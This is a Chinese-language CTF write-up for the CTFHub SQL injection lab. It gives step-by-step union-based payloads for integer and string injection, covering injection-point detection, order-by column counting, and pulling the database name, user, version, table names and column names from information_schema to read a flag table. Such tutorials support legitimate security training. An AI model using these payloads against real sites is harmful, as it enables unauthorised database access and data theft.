ctfhub技能树web--sql注入

系列文章目录

ctfhub技能树web–信息泄露

ctfhub技能树web–密码口令

ctfhub技能树web–sql注入

ctfhub技能树web–xss

ctfhub技能树web–文件上传

ctfhub技能树web–RCE

ctfhub技能树web–SSRF


前言

基本概念

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

提示:以下是本篇文章正文内容,下面案例可供参考

一、整数型注入(已知为数字型)

1.判断注入点

用1 and 1=1和1 and 1=2进行测试(若页面回显不一样,则证明该注入点存在sql injection漏洞)
在数据库中执行的语句:
SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;
SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;

2.判断列数

使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数

判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询
在数据库中执行的语句:
SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;
SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;


以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来

3.判断哪一列是报错点(哪一列会在前端显示的数据)

输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)

4.从当前数据库(默认)获取当前数据库名、用户名等信息

输入1 and 1=2 union select 1,concat-ws('>',database(),version(),user())
在这里插入图片描述
扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息

5.从元数据库查出当前数据库的所有表名

输入1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
在这里插入图片描述

6.从元数据库查出当前数据库下的某个表下的所有列名

输入1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
在这里插入图片描述

7.从当前数据库下的某个表中的查某一列的信息

输入1 and 1=1 union select 1,concat_ws('>',flag) from flag
在这里插入图片描述

二、字符型注入(已知为字符型型)

1.判断注入点

用1' and '1'='1和1' and '1'='2进行测试(若页面回显不一样,则证明该注入点存在sql injection漏洞)
在数据库中执行的语句:
SELECT * FROM uers WHERE id=‘1’ and ‘1’=‘1’ LIMIT 1,0;
SELECT * FROM uers WHERE id=‘1’ and ‘1’=‘2’ LIMIT 1,0;

2.判断列数

使用order by语句进行测试:1' order by 1 --+、1' order by 2 --+等,直到报错为止,报错的前一个数,为字段数
在这里插入图片描述
在这里插入图片描述

闭合后一个单引号的方法:
*注释符# --+ --等
*单引号’
此题在用判断列数时似乎只能用--+来注释掉后一个单引号
判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询
在数据库中执行的语句:
SELECT * FROM uers WHERE id=‘1’ order by 1 --+’ LIMIT 1,0;
SELECT * FROM uers WHERE id=‘1’ order by 2 --+’ LIMIT 1,0;


//以下为构造poc(轮子)

3.判断哪一列是报错点(哪一列会再前端显示的数据)

输入1' and '1'='2' union select 1,2 --+
在这里插入图片描述

4.从当前数据库(默认)获取当前数据库名、用户名等信息

输入1' and '1'='2' union select 1,concat-ws('>',database(),user(),version()) --+
在这里插入图片描述

5.从元数据库查出当前数据库的所有表名

输入1' and '1'='2' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在这里插入图片描述

6.从元数据库查出当前数据库下的某个表下的所有列名

输入1' and '1'='2' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' --+

7.从当前数据库下的某个表中的查某一列的信息

输入1' and '1'='1' union select 1,concat_ws('>',flag) from flag --+

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值